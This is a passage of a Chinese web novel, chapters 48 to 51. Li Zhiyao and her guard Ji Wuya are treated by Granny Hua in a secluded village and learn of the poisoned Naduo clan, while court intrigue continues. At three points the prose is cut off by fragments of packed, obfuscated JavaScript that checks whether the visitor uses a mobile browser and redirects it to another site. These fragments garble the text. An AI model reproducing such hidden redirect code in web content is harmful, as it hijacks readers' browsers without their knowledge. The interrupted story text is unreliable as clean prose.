李之夭和纪无涯对视一眼,她回答,“你们又是何人?” “我们还想问,是不是你们二人在里面搞破坏,声音都传到外面了,我还准备进去修机关嘞。”少年把刀横在他们面前,然后仔仔细细打量他们,“真是奇了怪,咱们村位置这么隐蔽,外人若非我们带路都不知道怎么进来,你们两个倒好,还是从老祖宗留下的机关洞里出来。” 他们两人身上沾满泥土,头发乱糟糟的,脸都算不上干净,活像逃难来的,村子里的人对外来人格外小心,听到动静,就召集人手立马朝这边赶。 清楚避世的人他们最讨厌外面来的人,李之夭赶忙拱手道歉,“我们二人出游,无意打扰各位清静,骊山附近山道崎岖复杂,不小心迷了路,随后从一座木板桥上摔了下来,也算幸运凭求生本能才走到这里,还望各位指条出村的路,让我们离开。” 少年挠了挠头,跳上岸冲男人摆手道,“大力,交给你了,我去修机关去了。” 为首的中年男人终于开始说话,“能从机关洞里走出来,证明你们并非凡夫俗子,按规矩,你们不能出去,若是带人回来扰了清静,老祖宗会怪罪的。” 李之夭还想说什么,谁知身边的纪无涯忽然栽倒在地上。 她蹲下翻过他的身体查看,只见纪无涯后腰鲜血直流,染红了绑住的帕子的布带,背上也出现点状的伤口密密麻麻布满一片,毒砂嵌在皮肉上,往外渗着黑血。 看伤口,后腰处有段时间了,被简单处理过,只能是在她昏迷的那段时间里,是追他的那两个人干的。 毒砂只能是洞里躲机关时沾上的。 硬是一路不吭声扛到现在,李之夭心里又急又气,拍着他惨白的脸。“你快醒醒!纪无涯!” 渔船不为所动,似乎在等人发话,她只得说,“我们不走了,你们村子里有没有大夫?找大夫救救他!” “咱们村就花奶奶会看病,没大夫。”有人出声。 “前面说来了的人就要留下,现在我们既然答应留下来,是不是就算村子里的人?村子里有人命在旦夕,是不是不能见死不救?见死不救出了人命,想想他本来可以活的,这样就伤了大家的感情,以后谁还敢相信村子里的人!”李之夭见他们不为所动,很是着急,只能讲些歪理出来,企图说服这群人。 情急之下的说辞,意外有用。 名唤大力的中年男子终于出声,“把他们送到花奶奶家,让花奶奶处置。” 48. 花明 第48章 有名壮实的男子下船背起纪无涯,示意李之夭先上去,她刚站上去,就被船上另外一名男子锄头架在脖子上。 大力一声令下,船驶向岸边,走过绿油油的菜地,天高云淡,天朗气清,远处屋舍俨然,炊烟袅袅。 田地里劳作的村民似乎是头次看到有外人进来,纷纷停下手里的事张望,村子里的玩闹的总角孩童跑过来抱住大力。 “大力,你怎么回来了?” “一清哥怎么没跟你一起回来?” 大力把他们拉开,耐心解释道:“一清去机关洞里修机关了,花奶奶现在在家吗?” “在。” 顺着小孩的手指方向过去,他们继续朝村子深处走去。 李之夭发现孩童还偷偷跟在身后,呼朋引伴,似乎对他们这群外来人很感兴趣。 同行了一路,大力见她并无威胁,于是主动搭话,“我们村叫莲花村。” 李之夭点头,“莲花村是个好名字。” 短暂的两句话让他们顿时又陷入沉默,花奶奶的住所在村子深处,屋舍也变得稀少,最后只剩郁郁葱葱的桃花林里小道两旁,地上长满青翠绿草,微风自来。 小道尽头是一间茅草屋舍,门前还有一棵桃花树,桃花树下有一口古井,一名佝偻身形的老媪正在打水。 大力看到赶忙出声;“花奶奶,让我来!”小跑上去,帮她把灌满井水的木桶提上来,“放哪?” 花奶奶指了指旁边的菜地,“放那就行,等一清回来让那臭小子帮我,大力,你怎么来了?” 此时李之夭的目光和花奶奶对上,不用大力明说,花奶奶顿时也明白是为何事,她看了看在人背上昏迷不醒的纪无涯,沉默片刻最后摇头叹气负手转身。 “送进来吧。” 大力有些担忧,“奶奶,这可以?” “有什么可不可的,救人一命胜造七级浮屠,先救人再说。”花奶奶打开屋门,示意把人送进去,随后吩咐大力,“你该忙什么忙去吧,这两日还有得忙。” 李之夭随他一前一后进了屋,等人全都离开后,花奶奶和上门,指了指木桌旁边的凳子给她坐下,并为她泡了一杯茶,“老婆子我这里简陋,还望你不要嫌弃,老头子走得早,只留下个捡回来的毛头小子跟我住一起,就是去你们出来的机关洞里修机关的那位。” 她想端茶,但此时手臂酸疼,抬起手臂都艰难。 花奶奶一眼看穿,上前想先为她检查手臂,但李之夭看向旁边草席趴着的纪无涯,“奶奶,我这边不要紧,能不能先救救他?” “他死不了,先治你,野小子不在,还得让你帮我老婆子忙会儿。”她说着检查起她的手臂,“脱臼过,是他帮你接的吧?” “嗯,有问题吗?” “没问题,他应常在江湖走,比我老婆子有经验,现在你是肌肉受损,过两日就没事了,还是能动的。” 花奶奶从衣柜里为重新找了两件衣裳,“这是我年轻时候穿过的,款式比较老,你身上先换下来洗洗,后院烧有热水,可以去那里洗洗,这一件是给这小子的,也是老头子年轻时穿的衣裳,都干净着呢,前两日才刚洗过。” 李之夭连连道谢,有穿的就好了,哪敢挑剔什么。 “你帮我拿毛巾和一瓶酒来,这毒砂是老子留下的,毒性我知道,害不了人。”花奶奶扶起纪无涯,褪去他上半身的衣裳。 入目除了毒砂和飞镖的伤口,纪无涯背脊上还有大大小小的伤疤,印记深深浅浅,就连前面也是,她第一次这么直白大胆直视一名男子的身体,都被伤痕吸引去了注意力,顾不上脸红。 “快去。”花奶奶催促道,“闯江湖身上留下的疤痕,倒是让我想起老头子,他也是跟你们一样突然闯进莲花村,后面不走了,留在我这里,五年前因病去世,想想竟觉得时间飞逝。” 窗口忽然传来动静,李之夭拿毛巾的手一顿,警惕转身去看,“谁?” 花奶奶不以为意,“是村子里的人,他们好久没见过外来的人了,这会儿你们进村的消息,全部人都知道了。”她望了一眼窗户,“偷偷摸摸地看,成何体统。” 低矮的窗棂上探出几个孩童的脑袋,他们脸上露出被发现腼腆的笑,但招架不住对李之夭的好奇,圆溜溜的大眼睛左看右看。 李之夭怀疑是自己紧张过度,松了口气,继续忙活花奶奶交代的事。 她把毛巾和酒拿过来,又点了烛台端到纪无涯身旁的桌子上。 “你们去后院给我提壶热水来。”花奶奶吩咐还趴在窗户上看的孩子,不一会儿门就被推开了,是两名孩子合力提进来的,她们把水倒进木盆里,坐在桌子边好奇地看着李之夭。 花奶奶把一块帕子塞进纪无涯嘴里,怕他疼醒咬到舌头。 镊子和针头在酒里浸泡,她先拿酒在他后腰的伤口上消毒,止血后才开始为他缝合伤口。 “我这里没有麻药,只能让他硬抗过去了。”花奶奶道,“你去对面坐着撑着他点。” 缝合的场面李之夭本就不敢看,此时像解脱讯号,她做到纪无涯对面,扶着他的胳膊,但扶手不如扶肩膀,此时根本扶不住。 纪无涯脑袋抵在了她的肩窝处,花奶奶出声,“就先这样吧,我动手了。” 针头穿进皮肉,纪无涯被疼醒差点要躲开,李之夭下意识搂紧他的脖子,将他摁在自己肩窝处。 “纪无涯别动,在帮你处理伤口。” 听到她的声音,纪无涯没再动弹,也不推开她,反而自己取出塞在他嘴里的帕子,“我知道了,继续吧。” 毒砂在他背上,李之夭只能轻轻拍了拍后颈处,安抚道:“没事,我守着呢。” 纪无涯闭上眼睛咬紧牙关,尽管疼得满头大汗,还是一声不吭。 花奶奶动作很快,缝好后剪断线,把染血的针放回桌子上,招呼蒙着眼睛的小孩子给她打水洗手。 “我去洗个手,一会儿取毒砂。” 李之夭没有推开他,任凭纪无涯在她怀里,她也不知做什么,怀里的人疼得在发抖,她伸手拍了拍他的头。 “没事了没事了,再坚持会儿就好了,纪无涯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967919|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。”声音传来,低低沉沉的,“这里是哪里?” “这里是莲花村,很安全,没人追过来,带我们回来的是村子里的村民,帮你疗伤的是花奶奶,在屋子外头,有好多桃花树,纪无涯,我想这里春天的时候一定很美。”李之夭出声帮纪无涯转移注意力,不由想到这里春天时候的样子。 很多的桃花树,就像她在燕国时,她和母妃居住的院子里,那里也种了好多的桃花。 她母妃喜欢桃花,就连取她名字时,都叫之夭。 桃之夭夭的之夭。 纪无涯沉默一瞬,似乎难以置信,“你说这里叫莲花村?” 李之夭诧异,“是啊,带我们回来的大力告诉我的,怎么了?” “你喜欢这里吗?”纪无涯声音有些恍惚,听到头顶传来肯定的声音,他神情苦涩,“外面那么多桃花树,春天一定很美。” 花奶奶再次回来帮他处理后背的毒砂,镊子从酒中拿出来,花奶奶再将镊子头拿去烛台上用火烤再杀菌,最后小心翼翼将他背上毒砂一粒粒取下。 取下来的毒砂放进铺在桌上的白布上,毒砂嵌入皮肉。 纪无涯长相不算差,此时一张脸皱成麻花,额前碎发被汗水打湿,嘴唇发白。 他疼得几乎晕厥,声音几乎低到接近哀求,“李之夭,我可以抱抱你吗?” 李之夭一怔,花奶奶还在认真帮他从后背把毒砂取出来,纪无涯强忍着皮肉之痛,什么都没说,不知为何,她有一瞬间的心软,应下了他的请求。 得到回应后,纪无涯双臂环住她的腰肢,似乎想从眼前的人身上汲取力量,时间一分一分过去,最后纪无涯是被疼晕过去的。 花奶奶取下最后一粒毒砂长舒一口气,再自己帮他清理一遍伤口,敷上草药,才用绷带缠绕起来。 李之夭将他放回地上趴好,花奶奶抱来薄被子盖在他身上,收拾好屋子里的东西,打算跟李之夭再聊会儿,谁知房门突然被创开。 “奶奶!”少年欢快的嗓音传来,屋子被他这么一拍,门撞在墙上震天响,“我回来了!” 他看到屋里坐着的姑娘,瞬间想到今早他在洞口瞧见,此时她端端正正坐在自己家中,微微外头,眸子里满是好奇,他快步走到花奶奶跟前,小声问,“奶奶,他们怎么在这?” 说完还指了指纪无涯,“你都不知道他们是什么人,就答应大力往家里带,不行,我要去找大力算账去!” 花奶奶出声劝住他,“哎哟我的小祖宗,你就别闹了,人家找我救命,又不是坏人。” 听闻少年才坐到李之夭对面的位置上,冲她不好意思的挠了挠头,“对不起啊,只是你们出现得十分诡异。” 李之夭笑着摇摇头,“没事,你不必道歉,是我们该道歉。” 她说话声音温温柔柔的,面容清丽,看上去很有涵养,跟村子里他见过的大大咧咧的姑娘不一样,若她们是明媚的骄阳,此时坐在对面冲他笑得温婉的姑娘就如月光一般。 在她那一眼的笑里,莲花村里说了好多年的野小子,头次红了脸。 49. 请求 第49章 花奶奶从柜子里翻出褥子许多年的褥子,要给李之夭他们准备床铺,李之夭本想去帮忙但被花奶奶制止了。 “你手好好养几日,这些活儿我老婆子能干” 她望了望在屋子里浑身不自在的人,冲李之夭笑道,“那就是我说的野小子,当年老头子将他从山外边捡回来的,名字叫一清。” 李之夭顺着她的视线望去,看见站在墙角摆弄墙上挂着弓箭的少年背影一僵,“我叫桃花,他叫阿福,他是我的侍卫。” 花奶奶笑开颜,“桃花这名字好啊,为你取名的人一定很喜欢桃花吧?” “是我阿娘取的,她确实很喜欢桃花,看到奶奶您门前种了那么多,想起阿娘在世时家中院子也很多,只不过后来阿娘去世,院子里的桃花也都随她一块去了。” 李之夭轻叹口气,神情惆怅,花奶奶心里懊恼,没想到她随口一问,竟把人家伤心事勾了起来,转头拍了一下面壁发愣的一清后背一下。 “臭小子,别在这碍手碍脚,我给他们收拾住的地方,你带桃花出去村子里转转。” 一清神色有些慌乱,指着自己:“啊?我吗?可是奶奶……” “别可是了,带人家出去转转,阿福醒了我找人来寻你们。”花奶奶打断他的话,不耐烦地催促着。 他朝李之夭看来,语气有些结巴,“那桃花姑娘,我带你出去走走?” 留在屋里确实帮不上什么忙,李之夭答应了花奶奶的提议,跟一清出去走走熟悉熟悉村子,他们只是暂时在这里安顿下来,但不管时间多久,总要离开的。 花奶奶的屋子在村子深处,也是村子最高的地方,她站在门前,能看到斜坡下面莲花村大概的样貌。 莲花村不大,四面环山,看不清分不明白哪座山是骊山,哪座山连着骊山,只能望见高耸入云的山峰,还有湛蓝的天,一眼望去生机盎然的田地。 “走吧。”一清偷偷观察了一眼,见她神色没有太多变化,微微闭眼享受山野间迎面吹来的微风,闻言少女转头,冲他盈盈笑着。 “劳烦你带路了。” 一清顿时只觉面如火烧,忙转过头去,“不劳烦不劳烦。” 穿过夹道的桃花树,短暂的沉默让一清有些心急,他迫切想找寻点什么话跟眼前的姑娘聊一聊,想起屋里她的说的话,本想安慰几句,但又不合适,只能改口道,“桃花姑娘,这些桃花树都是爷爷和奶奶年轻时候种下的,根据奶奶说这里最老的一棵都快有七十年了。” 李之夭惊诧,“是门口那棵吗?” 一清点点头,“十日后就是奶奶的九十大寿,到时候村子里的人都约好一起给奶奶庆生,届时你可要来。” “奶奶身子骨健朗,头脑清晰,做事灵活,一点也不像九十岁的人。”李之夭感叹。 似乎是找到了点可聊的话题,一清接着往下,“五日后便是我们村的祈秋节,晚上有篝火和擂台,可惜那日我答应了大力去帮忙,不然能带你过去看看了。” 李之夭噗嗤笑出声来,“我自己有脚,这么重要的日子一定会去看的。” 一清挠了挠头,“瞧我这张嘴说的。” 正值下午,现在正是莲花村民在田地间劳作的时候,除了在村子里嬉笑打闹的孩童互相追逐着,手里的风车呼啦啦的转,偶有鸡鸣犬吠声传来。 孩童看见她,不由停下脚步好奇张望,在看到一清时,有胆子大的孩子询问:“一清哥,她就是今早你们带回来的姐姐吗?” “不然呢,除了她还能是谁。” “漂亮姐姐来了还会走吗?” 这个问题把一清难住了,他下意识看向李之夭,似乎在等待她的回答。 早上村里的大力说来了不准走,万一此时她暴露出什么想离开的想法传到大力耳朵里,徒增事端于是主动接过话,“自然不会。” 一清呆呆地看着她的侧脸,自然不会四个字更是将他的心惹得无端直跳。 他们带着一群孩子走在田间小道上,劳作的村民被孩子们的笑声吸引,只见一清跟在名姑娘身后,姑娘一手牵着一名小孩,有说有笑。 跑在前面的小孩手里风车转得飞快。 李之夭忽然一阵头疼,她捂着胸口蹲下,面露痛苦。 一清上前扶住她的肩膀,“你怎么了?” 在山洞里,纪无涯曾经提到她中毒一事,后面没有什么感觉,倒是给她忘了。 她说不出话来,身子渐渐蹲在地上。 一清四下张望,瞧见田埂处吃草的老牛,他上前把牛牵过来,将李之夭抱上去,然后用牛托着她往家里赶。 被牵走牛的大爷从草堆里坐起来,拿下罩在头上的草帽,冲着一清喊道:“野小子!你把我的牛牵走记得还回来!” “知道了!” 刚到门口,正好遇上苏醒过来出门透气的纪无涯,他瞧见趴在牛背上不省人事的李之夭,赶忙上前将她从牛背上顺下来抱着往屋里冲。 “奶奶!你看看这是怎么回事!” 一清跟在后面着急出声,花奶奶喝茶的手一顿,哎哟一声,“快给我看看。” 花奶奶搭上脉搏,微微皱起,最后望向纪无涯,“你们之前经历了什么?” 她越看越觉得不对劲,抓起纪无涯的手腕同时为他们二人诊脉,片刻后大惊失色,“你可知纳多族?” 纪无涯怔了怔,“这和纳多族有何关系?” 花奶奶连连叹气,“都是因果,躲不掉啊老头子。” “奶奶你在说什么啊。”一清不明所以。 但对方显然不想再多说沉默不让他在继续问下去,“一清,天色已晚,你该去做饭了。” 一清显然明白花奶奶是支开他,便也没多问,退出房门去后厨烧火做饭。 屋里只剩他们三人时,花奶奶取出银针在李之夭身上扎了几下,为她一口热水,李之夭坐起来揉着脑袋,看向纪无涯,“阿福,你怎么样?” “我没事。”纪无涯一怔,明白她在跟自己说话,显然她为双方用了化名,便接过她的话。 “桃花,你体内的毒是吃了不该吃的东西才种下的,是不是去过缘楼?” 缘楼二字一出,震惊李之夭和纪无涯,既然她这么问,事情想必跟缘楼脱不了干系。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984425|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪无涯也想起来,她毒发的迹象是在哪里见过。 每个加入缘楼的杀手,晋升成为护法后,都会吃下缘楼特制的毒药,‘雁沙’。 雁沙之毒每三个月复发一次,每回需要楼里的特效药才能控制,但解除雁沙之毒的解药只在楼主身上,名为‘留羽’。 “你当日是不是吃了雪送回来的解药?” “是,因为皇……舅舅在旁边看着,我不得不吃,我以为解药本无毒,加上当日有人亲眼看到楼主吃下解药无事才放心吃下。”李之夭揉了揉眉心,自己还是大意了。 本以为掌握书中剧情,可现在他们经历的,都是超出书的内容,每走一步都是兵行险招。 花奶奶既然识得缘楼,想必跟缘楼大有渊源,但他们不清花奶奶是敌是友,故而许多话咽回了口中。 看他们纠结沉默不再言语的模样,花奶奶顿时明白他们心中纠结,主动起身避嫌,“我去看看野小子饭做得怎么样了。” 木屋的门被合上,纪无涯确认周围没有人后,压低声音跟她解释道:“我和寻方先前种的毒名叫雁沙,解药名叫留羽,两毒相生相克,所以我们吃下解药没事,但你体内并无雁沙之毒,所以你吃下留羽必定会有中毒的迹象。” 纪无涯神色愧疚,眉眼都垂了下来,“抱歉,若不是因为我们。” “纪无涯,你为什么不回缘楼?” “缘楼不是个好去处,一旦进去,想脱身都难,我本想拿到药珠,找到下月集后就归隐山林,但现在事情已经超出了我能掌控的范围。” “那你为何先前听到莲花村二字,就说这里并不安全。” 李之夭正是诧异这个点,若他的怀疑和警觉来自花奶奶,不应该接受她的救治,也不应该继续留在这里。 纪无涯语塞,他总不能说自己是重生回来的,因为前世裴淮和苏月清曾经来过这里,在这里具体发生什么事他并不清楚,只是后来他们出去以后,他在外面无疑听到杨刻带人来了莲花村。 他只是裴淮身边的一员,听命行事,主子身边所发生的,他又能掌握多少。 若是按照轨迹,他也只能从源头上避开裴淮的行动,知晓他曾参与进去的事情里,做出应对。 可裴淮身边的人又不止他一人,谋得大事,他不过是其中沧海一粟,哪有机会窥探从头到尾的一切。 若莲花村跟裴淮他们有脱不开的关系,他们都不能在此地久留。 “你信我。” 他有难言之隐不愿把实情脱出,李之夭也不愿强人所难,纪无涯如今算是站在自己这边,她总觉得他不会如书中那样帮助裴淮。 此时书中剧情正是到裴淮和苏月清在骊山遇险的阶段,纪无涯已成功被收编。 他们出现在此处,是不是证明原本属于他们的剧情,被他们二人顶替。 “纳多族是怎么回事?” “我不知道。”纪无涯摇了摇头,“这个名字,我在缘楼听过。” 李之夭拍了拍他的头,“我知你忧心,我信你,此事若跟缘楼有关,花奶奶那边定能知道些,若是朋友,问清楚对我们有利。” “好。” 50. 传闻 第50章 等他们聊完,花奶奶提着一壶水走进来,为他们二人添了新茶。 “你们要是有什么问题,就来问老婆子我,不过事情过去那么多年,有些也记不太清了。” 李之夭顺着她的话往下道:“奶奶,你刚才说的纳多族,是跟他有关吗?” “纳多族是百年前存在的一个村落,可惜在二十一年前被三国皇帝联合率兵灭族,老头子当年收到消息曾出去过,可惜没能保下纳多族,自己也丢了半条命,但老头子当年说他曾在半路上遇到一对夫妻,那对夫妻离开后算算日子,若生下孩子,年岁应当和阿福你差不多。” 纪无涯一怔,声音也变得不确定起来,“可是我爹娘不过是普通百姓,他们从出生起就生活在村里,一步也没出去过。” “纳多族的族人只有邀月使一脉出生体内自带奇毒,邀月使一脉守护纳多族和平,传闻建立纳多族的神女在月影湾遇到心上人,诞下子嗣后乘月而去,这跟古书中嫦娥不一样,但神话和传闻终究都不真实,神女担心子嗣无依无靠,便留下邀月使照顾,怕邀月使独大有野心,神女便在邀月使身上种下奇毒,邀月使每个人的寿命只有四十年,就连出生的孩子体内也自带奇毒,纳多族避世百年,究竟是为何招来灭族之祸也记不清了。” 花奶奶捧起茶杯喝了口茶,“老头子说当年离开月影湾的并非只有那对夫妻,还有位姑娘提前两年就离开了,去哪里时间太久我也记不清了。” 纪无涯垂下眼眸,一只手握着茶杯,杯身温热,水雾上升,花奶奶说的这些,除非他爹娘骗他有意隐瞒自己的身份,要么是他身世另有蹊跷。 前世今生,头次接触到有关于自己身世的传闻。 纳多族,在缘楼明令禁止的存在,就连藏书楼里跟纳多族有关的书籍都称之为禁书。 花奶奶继续道,“方才替你把脉,你体内的毒错不了,就是纳多族邀月使一脉留下的,老头子生前曾研究过此毒解法,可惜天不遂人愿,不过我看你似乎有压制过的迹象,不知道是否能透露一二。” “早些年是一名老和尚帮我控制,后面他为我从梅郎雪山寻了药珠,用过一次。” “药珠?!”花奶奶惊诧,“若是那东西你的命就有救了,三次下去,你必定能长命百岁!” 听她一说,李之夭才想起来之前纪无涯似乎给雪用过一次,“若是没有三次会怎样?” 他目光投来很快又收回去,花奶奶接下来的话瞬间让他们的心跌落谷底,“若不能满三次,邀月毒必然不能根除,依旧会有性命之忧,就连后代也是如此。” “除了药珠之外,还有没有别的方法解毒?”李之夭开口问道,并未得到想要的答案。 花奶奶说自己对当年的事也是一知半解,跟纳多族有牵扯人时至今日死得都差不多了,她一个外人,都是从丈夫口中听来,这江湖恩仇,朝堂恩怨,她不过是名旁听者,听了也就过去了。 很少能有旧事重提的机会,这次也正好是他们撞上了。 晚间吃饭的时候他们气氛都很沉默,饭后一清帮纪无涯换好后背的药,他穿上花奶奶老伴年轻时候的衣裳,有些宽大,但也合身。 现在他行动不变,只能暂时留下养几日,伤口愈合后过完花奶奶九十大寿便想办法离开。 李之夭晚上洗完澡也换上干净的衣裳美美睡了一觉。 后面几天他们帮花奶奶干些活计,一清下地干活把纪无涯也拽去了。 两人赤脚踩在灌水的泥里,一清在前头拔草,纪无涯跟在后头面无表情的帮他赶牛。 而李之夭在家跟花奶奶一起做饭,然后给他们送水和吃的,日头晒时,坐在树下纳凉看他们。 这两日观察下来,一清天性爱玩,纪无涯是个严肃板正的主儿,对方热情的邀约有些无奈,但还是会跟着他一起,田地里一起相处两三日,玩到最后两人互相扔泥巴。 李之夭笑得正开心,一清手里的泥巴就飞到了她身上,瞬间笑不出来了。 “你怎么可以乱扔!” 她起身抖掉怀里的泥巴,不甘示弱的脱下鞋袜,卷起裤脚,踩进田里,从水里摸索扣了一大块出来,朝一清脸上扔去。 攻击无效,被躲过去了,这下更让她生气了,连续几次都扔不中,一清笑声朗朗。 “你放弃吧,扔不中的。” 说完一块泥巴正中他胸口,不偏不倚,位置跟李之夭的一样。 他瞪着纪无涯抱怨,“你不能因为她是你主子,你就帮她啊。” 有人帮自己报仇,李之夭乐得自在,声音都欢快了几分,“他不帮我帮谁啊。”说完双手撑着田埂,努力将自己的一只脚先从泥里拔出来,最后再拔另一只,找了旁边的溪水洗手,最后提着鞋袜赤脚往回走。 “我先回去帮奶奶做饭了啊。” 一清恋恋不舍喊道:“你不再继续玩会儿啦?” 李之夭摆摆手,表示不想,等人走远了他才收回目光,却对上正在盯着自己看的一双黑瞳,他哆嗦了一下,“你这么看我干什么?” “没事。” 眼下只剩下他们二人,有句话别在心里好几天,一清干脆坦言问道:“阿福,你是她身边的侍卫,她身份是什么,可有婚配?” “父母双亡,跟着有钱的舅舅生活。”说到婚配,他话顿时噎住,再次想起那日夏日阳光下,让他以身相许的声音,不知为何,一清问起这个问题,他有些不想回答,但对方喋喋不休地缠着他,让他继续往下说,纪无涯想了想,闷声道,“没有。” 一清笑着拍了拍他的肩膀,“这我就放心了。” 纪无涯目光不由自主望向李之夭离开的地方,一清话里的意思他在清楚不过。 只不过若李之夭真的面对这个问题,他忽然想知道对方是怎么想。 * “你再说一遍?” 清武帝急得从椅子上站起来,秦立山跪在台下,再次重复道,“还是没能找到当日闹事的人,以及公主的下落。” 贤妃坐在旁边轻声安抚道:“皇上,你先别急,宿宁她吉人自有天相,身边还有缘楼护法跟着,不会出事的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996805|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都过去四天了,还没找到,守义镇和骊山全都找过了?” “全找过了,现在就剩下骊山附近的山脉还没去找。” 清武帝哎哟一声,急得险些跺脚,“没找就赶紧派人去找啊。” “皇上目前能派出去的人已经派出去了,若想再加派人手,得从京城里调派过来。” “你听着,你必须尽快找到宿宁,还有当日抓获的杀手,给朕一个一个审出来,到底是谁下死手,杀人都追到这里来了!” 秦立山应下,起身急匆匆朝殿外走去,出门却撞上拐角处端着热水的时雨,滚烫的水被打翻在地,时雨惊叫一声,慌忙躲开。 她赶紧蹲下身去捡,却被秦立山看到伤痕累累的手。 秦立山帮她捡起地上的托盘和水壶,时雨抓到机会率先问道,“秦大统领,山下的事我也听说了,方才听你说附近都找遍了还没找到,骊山旁边的山道拗口那些呢,万一追杀她的人众多,纪无涯带着她跑远了也说不定。” “你别急,那位若本领高强,杀手不会伤到你家主子,也怪我那日早该想到是调虎离山。”秦立山把话转到时雨受伤的手上,“你手怎么回事?跟在太后身边刺绣怎么会搞成这样?” 时雨语气坦然,“就是刺绣弄的。” 话说出来,偏偏不知情的人还行,但秦立山护国寺那段时间,他早就知晓时雨是何脾气,也知她刺绣工艺精湛,不会把自己弄得如此狼狈,不肯说实话,心里也知晓个七七八八。 “我带你去找皇上,让他把你送回去。” 时雨拽住他,连说好几遍万万不可,“秦大统领别冲动,眼下我主子那边比较要紧,你因为我去找皇上,届时会被人说闲话,若是传出去对你和家中小姐不好,秦大统领侠义心肠,尽快找到我家主子回来,我便能脱身。” “我去把春夏小顺子找回来,也好帮衬你,你自己当心些。” 秦立山这次不给她拒绝的机会,急匆匆走了。 时雨想喊人都喊不应,只好再去厨房打热水,但是人还没到厨房,就被太后身边的桂嬷嬷拦住。 桂嬷嬷踱步上去,等时雨跟她问好,才不情不愿应了一声,随后手搭上她托盘上的茶壶柄,轻轻一提。 “时雨啊,你怎么回事,让你来烧壶热水,来这么久也不回去,到现在水壶里都没水,若是耽误太后午睡,你可得小心你的脑袋。“ “对不起,我这就赶紧把水送去。”时雨说着就要离开,不想跟她们纠缠,桂嬷嬷身材丰满圆润,轻而易举就挡住了去路。 “站住,我可没让你走,不懂规矩的丫头,跟你主子一个样。” 时雨赶忙跪在地上,桂嬷嬷轻蔑地勾唇笑了笑,踢开碍事的水壶,脚直接碾上时雨的左手,疼得她倒吸一口凉气,但不管多疼,她也不敢叫出声来。 见她没反应,桂嬷嬷觉得无趣,挪开脚扬长而去。 “不敢耽误就快些,现在你在太后宫里,可得认清谁是你主子。” 时雨再次磕头,左手疼得哆嗦,不敢再慢了脚程,重新接好热水送去太后宫里。 51. 劝说 第51章 骊山上的食物每日都需人来守义镇里采买,这里的人都知道大魏天子住在山上,因此每日管事公公刚带人下山进城,就能遇上一大批热情推销自家蔬菜水果的菜农果农。 皇家每次要的量大,且价格不菲,若是能在这段时间抢占先机,对他们来说不愁后面蔬菜卖不出,还能大赚一笔。 苏月清跟管事公公打声招呼后自己就离了队伍朝别处走去。 她来到民舍区敲响了一间民舍的大门,开门的杨刻先查看了四周有没有人才放她进来。 一进院子,春夏和小顺子两人被捆在树下,二人嘴被塞了抹布,看见苏月清回来春夏更是愤怒,呜呜的声音从喉咙里发出。 苏月清淡淡睨了他们一眼,便放下手上的篮子,自顾朝屋子里走去。 那日春夏将她打晕过去,他们本来打算擒住苏月清,去皇上面前告一状她把主子推出的事实,谁知后面扛着人上山的时候,被一群杀手拦住。 他们将苏月清救下,自己还被抓了回去。 苏月清则说他们还在山下找人,这两人日子很是得意。 春夏气得直蹬腿,绳子捆太紧,根本挣脱不了,只好眼睁睁看着苏月清进了屋。 屋里裴淮坐在桌子前,见她过来主动为其添上一杯茶,“山上可有什么动静?” “这几日皇帝找不到人,快急疯了,秦立山从京城打算调人过来,若你想动手,只能抓住在骊山这次的机会。”苏月清握着茶杯凑到唇边吹了吹小酌一口。 “这几日辛苦你了。” “你我如今是合作关系,算不上什么辛苦。”她慢慢放下茶杯,“若想找到李之夭,不该继续跟着禁军的动向,我最近刚从京城里得到一个消息,或许对你有用。” 裴淮被她这么一说,顿时来了兴趣,目不转睛地看着她,“什么消息?” “北唐的三皇子前日刚从牢里放出来,你应该认识。” 提及三皇子,裴淮顿时愣住,反应过来的时候瞬间难以置信,“你说的是真的?!” “当真,他化名卫客跟银来庄的人做买卖,结果货品不对被银来庄的夫妇两告上了府衙,抓进去关了大半个月才放出来,他当时是跟北唐使者一块来的。” 裴淮握紧拳头,泄愤地在桌上狠狠砸了一下,“大魏人果真狡猾,三哥从小与我关系甚笃,如今他可还在城里?” “在,他在找人。”苏月清意有所指,“今日养父会来守义镇寻我,我借此才得以暂时离开过来寻你,养父是大魏的吏部尚书,若能助你是如虎添翼。” “我知道。”他说出此话想让苏月清看到自己的自信,这一次李之夭在他们手上栽了跟头,必须趁热打铁,若能因此挑起大魏的纷争,等到北唐使者真正到访时,他们就成掌握主动权。 如今大魏独大,北唐坐不住。 他要趁着两国混乱时,回到属于他的北唐去,还要去见见那个人,问问她这些年,到底有没有想过他。 酉正,苏月清在约好的茶馆中顺利碰头吏部尚书宋庆,他屏退跟在自己身边的下人,才担忧地望向苏月清。 “清清,你找我是有什么事要说?” 